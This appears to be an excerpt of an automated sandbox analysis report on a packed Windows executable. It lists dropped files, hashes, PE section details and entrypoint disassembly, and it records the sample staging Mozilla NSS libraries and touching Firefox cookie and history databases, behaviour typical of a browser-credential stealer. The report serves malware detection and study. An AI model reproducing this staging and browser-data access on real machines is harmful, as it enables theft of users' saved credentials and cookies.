Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKFHDBKFCAAECBFIDHJECBKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9461935594196795
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'829'376 bytes
MD5:	e13d89812ee808b7637fe554797b759b
SHA1:	d392ee05ccd8da3985594fc8deb0ecdd5a23e8fb
SHA256:	2fe1592ed1c0bd162f4de4abb3a023ed7eac5426acf02b5df89ae163449d7c5f
SHA512:	bfc9081ce19427f1fb914eaf7af97b70beb6e446033ecd510b0902a59e2e353a702918747cefee77ca9936750760232e15c43aaea9f4337b92049b43694a7740
SSDEEP:	24576:/mhkLdPSgz/XGUiWiRxoDnehvkP2y8jrhGYK/sMn2AyMzlE9aByqi/0HV:/9Sq/XNijoDeq8jNiUS2AyMRE6i/QV
TLSH:	B1853302CBF9AB8FDD1813B62843D143BCF081662994D74FC92B472D699FEE04395DA5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F36ECEE416Ah
bswap eax
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F36ECEE6165h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	e26d75174cc1f55c4bd54ebb36c39869	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x299000	0x200	9afb493644df25d05229d27a0a7c4ef9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xfniszhi	0x4f7000	0x199000	0x198800	56a3d2bf322661a97570d0f1efdba5e6	False	0.9947508271496328	data	7.953005680311224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
punnpugg	0x690000	0x1000	0x400	b53889647e290c234b9b6d3d404fed04	False	0.7705078125	data	6.136877822583052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	c009523a96fd6b421b10aece3c7d5ecf	False	0.08019301470588236	DOS executable (COM)	0.880228829607372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
